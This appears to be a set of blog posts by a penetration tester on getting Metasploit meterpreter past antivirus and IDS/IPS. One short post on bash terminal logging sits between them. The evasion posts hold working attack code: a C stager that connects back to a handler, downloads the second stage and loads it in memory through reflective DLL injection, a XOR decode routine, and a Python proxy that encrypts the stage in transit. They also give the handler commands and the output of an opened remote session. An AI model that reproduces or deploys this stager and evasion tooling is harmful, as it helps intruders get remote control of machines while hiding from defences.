We bypassed antivirus, how about IDS/IPS?

So like we have seen in previous posts bypassing antivirus engines isn’t always as difficult as you would expect. Now how about bypassing IDS/IPS systems? After all, the only thing we have done is make the initial stager undetected, the second stage still needs to be transferred over the wire. We have a couple of options to do this:

The first one has already been done by metasploit and integrates really nice within metasploit, so let’s build the second one for fun, profit and general learning.

Since we just want some obfuscation and nothing fancy we’ll just use our good friend XOR to obfuscate the payload. We do want this to be reusable or at least keep it simple. So I’ve chosen to implement an encrypting proxy. Why you ask?

  • You don’t have to change or edit metasploit code
  • You don’t have to change or edit the stage itself
  • You only have to change your stager
    • We have already build our own stager :)

So let’s modify our stager to support XOR decryption. For that we need a XOR function and actually calling that function.

/*
	Use for additional obfuscation??
	http://stackoverflow.com/questions/12375808/how-to-make-bit-wise-xor-in-c
*/
void xor(char *data,int len){
	int i;

	for(i=0;i<len;i++){
		data[i] = data[i] ^ 0x50;
	}
}

Then you actually call the function:

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		xor(&recvbuf[0],response);
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;

	}while(payloadlength > 0);

Those are all the modifications we need to make to our existing stager. The proxy however we’ll need to build from scratch, these are the minimal steps it needs to perform to support a windows/meterpreter/reverse_tcp payload:

  • Listen for incoming connections
  • Connect to the metasploit handler
  • Read the payload length
  • XOR the payload on the fly
  • forward it to our stager
  • Just relay all traffic between stager and metasploit after this point

The only interesting part which is handling the initial stager connection looks like this:

#handle the initial stager connection
def handler(clientsock,addr):
    msfsock = socket(AF_INET, SOCK_STREAM)
    msfsock.connect((MSFIP, MSFPORT))
    msfdata = ''
    #read and send payload length to meterpreter
    msfdata = msfsock.recv(4)
    clientsock.send(msfdata)
    datalen = struct.unpack('<I',msfdata)[0]
    print "payload size %s" % datalen
    #now start sending and xor'ing the data
    while datalen > 0:
        msfdata = msfsock.recv(BUFF)
        xorreddata = ''
        for i in range(len(msfdata)):
            xorreddata += chr((ord(msfdata[i]) ^ XORKEY) & 0xFF)
        clientsock.sendall(xorreddata)
        rl = len(msfdata)
        datalen = datalen - rl
        print "send data %s remaining %s" % (rl,datalen)
    #we are done with obfuscation, just relay traffic from now on
    print "Starting loop"
    thread.start_new_thread(trafficloop,(msfsock,clientsock))
    thread.start_new_thread(trafficloop,(clientsock,msfsock))

Now when you run it you’ll encounter an interesting bug/feature in metasploit as in that metasploit doesn’t allow connections from 127.0.0.1. You can work around this by adding your own local loopback interface as explained here: http://www.kartook.com/2010/10/linux-how-to-add-loopback-on-ubuntu/

After solving that you just start metasploit payload handler:

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 E

Then you start the encrypting proxy:

./ep.py 10.50.0.103 9999 10.10.10.100 4444

The only thing you have to do now is launch the custom stager and if everything goes as planned your metasploit terminal will look like this:

PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 10.10.10.100
LPORT => 4444
[*] Started reverse handler on 10.10.10.100:4444 
[*] Starting the payload handler...
[*] Sending stage (762880 bytes) to 10.10.10.100
[*] Meterpreter session 1 opened (10.10.10.100:4444 -> 10.10.10.100:44995) at 2013-02-21 02:04:02 +0100

meterpreter > getuid
Server username: WIN-COMP\research
meterpreter >

and if you look at the data in wireshark it looks like this, instead of having the usual “This program cannot be run in DOS mode.”:

idsbypass

You can find the complete code for this (stager  & proxy) on my github as usual, as for the compiling instructions I’ve explained those in a previous post.

console/terminal logs ftw

Occasionally I find myself wishing I had logged the output of some command for later reference and often during those occasions I find myself wishing it had a time stamp. So here is a nice reminder to myself, next time make sure my pentesting machine has these modifications.

  • Make sure my prompt includes the time
  • Log everything

bash prompt with time stamp (.bashrc)

#example of what we want:
#PS1="\n[\t] \u@\h:\w\$ "
#embedded in the default ubuntu options "\n[\t] "

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\n[\t] \u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\n[\t] \u@\h:\w\$ '
fi

bash with continuous logging (.bashrc)
make sure we always log our stuff. Note when doing interactive stuff the logs get a little but ugly…but we can live with that
Courtesy of: http://ubuntuforums.org/showthread.php?t=1796500 & https://answers.launchpad.net/ubuntu/+source/gnome-terminal/+question/7131

if [ -z "$UNDER_SCRIPT" ]; then
        logdir=$HOME/conlogs
        if [ ! -d $logdir ]; then
                mkdir $logdir
        fi
        #gzip -q $logdir/*.log
        logfile=$logdir/$(date +%F_%T).$$.log
        export UNDER_SCRIPT=$logfile
        script -f -q $logfile
        exit
fi

References

Evade antivirus convert shellcode to c

So another way to have a meterpreter stager bypass AV is to just port the shellcode to C instead of obfuscating it like I explained in my previous article, still assuming psexec like purposes here.

0

Assembly always seems terrifying if you’ve never worked with it previously, but just like all source code it depends on the coder if it really is terrifying. Take for example the shellcode for the meterpreter stages, that’s some neat code and easy to read also thanks to the comments. Let’s take a look at all the asm for the meterpreter/reverse_tcp stager and determine what it does:

Since we are coding in C there is a lot of stuff we don’t need to convert, for example the API resolving is not really needed. So basically what we have to do is:

  • connect to metasploit handler
  • get the second stage
  • execute it in memory

For the impatient ones, here is the C code you can compile and use. For the ones interested on how to compile and use it, read on.

/*
	Author: DiabloHorn https://diablohorn.wordpress.com
	Undetected meterpreter/reverse_tcp stager
	Compile as C
	Disable optimization, this could help you later on
	when signatures are written to detect this. With a bit of luck
        all you have to do then is compile with optimization.

*/
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#include "LoadLibraryR.h"
#include "GetProcAddressR.h"

#pragma comment(lib, "ws2_32.lib")

int initwsa();
short getcinfo(char *,char *,int);
SOCKET getsocket(char *);
DWORD WINAPI threadexec(LPVOID);

/* setting up the meterpreter init function */
typedef DWORD (__cdecl * MyInit) (SOCKET fd);
MyInit meterpreterstart;

/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms738545(v=vs.85).aspx */
WSADATA wsa;

/*
	doit
*/
int CALLBACK WinMain(_In_  HINSTANCE hInstance,_In_  HINSTANCE hPrevInstance,_In_  LPSTR lpCmdLine,_In_  int nCmdShow){
	HANDLE threadhandle;
	DWORD  threadid;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	char szPath[MAX_PATH];

	GetModuleFileName(NULL,szPath,MAX_PATH);
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );

	/* Quick & Dirty hack to make this usable for psexec like stuff
	   When executed the first time it will spawn itself this makes
	   sure we return on time and don't get killed by the servicemanager
	*/

	if(strlen(lpCmdLine) == 0){
		strcat_s(szPath,MAX_PATH," 1");
		CreateProcess(NULL,szPath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
	}

	if(strlen(lpCmdLine) > 0){
		//thread just for fun...no real purpose atm
		threadhandle = CreateThread(NULL,0,threadexec,szPath,0,&threadid);
		WaitForSingleObject(threadhandle,INFINITE);
	}
}

/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx
	read port:ip
	Receive stage
	Load it using reflectivedllinjection
*/
DWORD WINAPI threadexec(LPVOID exename){
	SOCKET meterpretersock;
	int response = 0;
	int total = 0;
	char *payload;
	char recvbuf[1024];
	DWORD payloadlength = 0;
	HMODULE loadedfile = NULL;

	if(initwsa() != 0){
		exit(0);
	}

	meterpretersock = getsocket((char *)exename);
	response = recv(meterpretersock, (char *)&payloadlength, sizeof(DWORD), 0);

	payload = (char *)malloc(payloadlength);
	memset(payload,0,payloadlength);
	memset(recvbuf,0,1024);

	do{
		response = recv(meterpretersock, recvbuf, 1024, 0);
		memcpy(payload,recvbuf,response);
		payload += response;
		total += response;
		payloadlength -= response;

	}while(payloadlength > 0);
	payload -= total;
	loadedfile = LoadLibraryR(payload,total);
	meterpreterstart = (MyInit) GetProcAddressR(loadedfile,"Init");
	meterpreterstart(meterpretersock);

	free(payload);
	//closesocket(sock); meterpreter is still using it
}
/*
	Get a socket which is allready connected back
*/
SOCKET getsocket(char *self){
	SOCKADDR_IN dinfo;
	SOCKET sock;
	int respcode = 0;
	char *ipaddr = (char *)malloc(sizeof(char)*25);
	short port = 0;

	memset(ipaddr,0,sizeof(char)*16);
	port = getcinfo(self,ipaddr,16);

	sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(sock == INVALID_SOCKET){
		printf("socket failed\n");
		exit(0);
	}
    dinfo.sin_family = AF_INET;
    dinfo.sin_addr.s_addr = inet_addr(ipaddr);
    dinfo.sin_port = htons(port);

	respcode = connect(sock, (SOCKADDR *) &dinfo, sizeof (dinfo));
	if(respcode == SOCKET_ERROR){
		exit(0);
	}
	free(ipaddr);
	return sock;
}

/*
	Initialize winsock
*/
int initwsa(){
	int wsaerror = 0;
	//wsa is defined above main
	wsaerror = WSAStartup(MAKEWORD(2,2),&wsa);
	if(wsaerror != 0){
		return -1;
	}
	return 0;
}

/*
	Get ip address and port information from our own executable
	Feel free to hardcode it instead of doing this
*/
short getcinfo(char *self,char *ipaddr,int len){
	int i = 0;
	int offset = 0x4e;
	//[port as little endian hex][ip as string \0 terminated]
	//9999 -> 270f -> 0f27
	//127.0.0.1 -> 127.0.0.1
	//make sure to padd with \0's until max buffer, or this will read weird stuff
	short port = 0;
	FILE * file = fopen(self, "r");
	fseek(file,offset,SEEK_SET);
	fread((void *)&port,(size_t)sizeof(short),1,file);
	fread(ipaddr,(size_t)len,1,file);
	fclose(file);
	return port;
}

Continue reading “Evade antivirus convert shellcode to c”